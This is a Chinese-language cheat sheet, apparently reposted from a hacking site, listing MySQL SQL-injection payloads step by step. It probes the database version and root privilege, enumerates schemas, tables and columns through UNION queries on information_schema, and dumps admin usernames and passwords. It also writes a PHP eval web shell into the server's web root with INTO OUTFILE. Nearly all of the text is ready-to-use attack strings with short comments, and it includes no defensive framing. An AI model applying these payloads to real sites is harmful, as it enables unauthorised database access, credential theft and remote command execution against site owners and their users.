| 关键词: nbsp select UNION MYSQL version 字段 user SCHEMA 版本 information |
and ord(mid(version(),1,1))>51 //MYSQL版本大于5.1支持暴库and ord(mid(version(),1,1))>40 //MYSQL版本大于4.0支持UNION查询and ord(mid(version(),1,1))>41 //MYSQL版本大于4.1支持CONCATand (select count(*) from mysql.user)>0 //判断当前用户权限,能否写入and ord(mid(user(),1,1))=114 //返回正常说明为rootand 1=2 union select @@global.version_compile_os from mysql.user //获取操作系统信息如果具备以下条件:1、知道站点物理路径2、有足够大的权限(可以用select …. from mysql.user测试)3、magic_quotes_gpc()=OFF//写入文件select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径' 或 and 1=2 union all select 一句话HEX值 into outfile '路径' 如果没有就猜解吧order by 8 //半分法猜解字段数量and 1=2 union select 1,2,3,4,5,6 //生成union查询语句,MYSQL >=4.1//配合字段和MYSQL内置函数来获取相关信息 user()-->当前用户,database()->当前库,version()->版本,system_user()->系统用户,load_file ()-->载入指定的文件and 1=2 union select 1,user(),database(),version(),5,6//爆数据库and 1=2 union select 1,SCHEMA_NAME,3,4,5,6 from information_schema.SCHEMATA limit 0,1 //爆表名 0x后面跟16进制的数据库名and 1=2 union select 1,TABLE_NAME,3,4,5,6 from information_schema.TABLES where TABLE_SCHEMA = 0x0000 limit 0,1//爆字段名 0x后面跟16进制的表名and 1=2 union select 1,COLUMN_NAME,3,4,5,6 from information_schema.COLUMNS where TABLE_NAME =0x0000 limit 0,1//接下来?假设才出来的表名为admin字段分别为username和passwordand 1=2 union select 1,username,password,3,4,5,6 from tablename limit 0,1 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|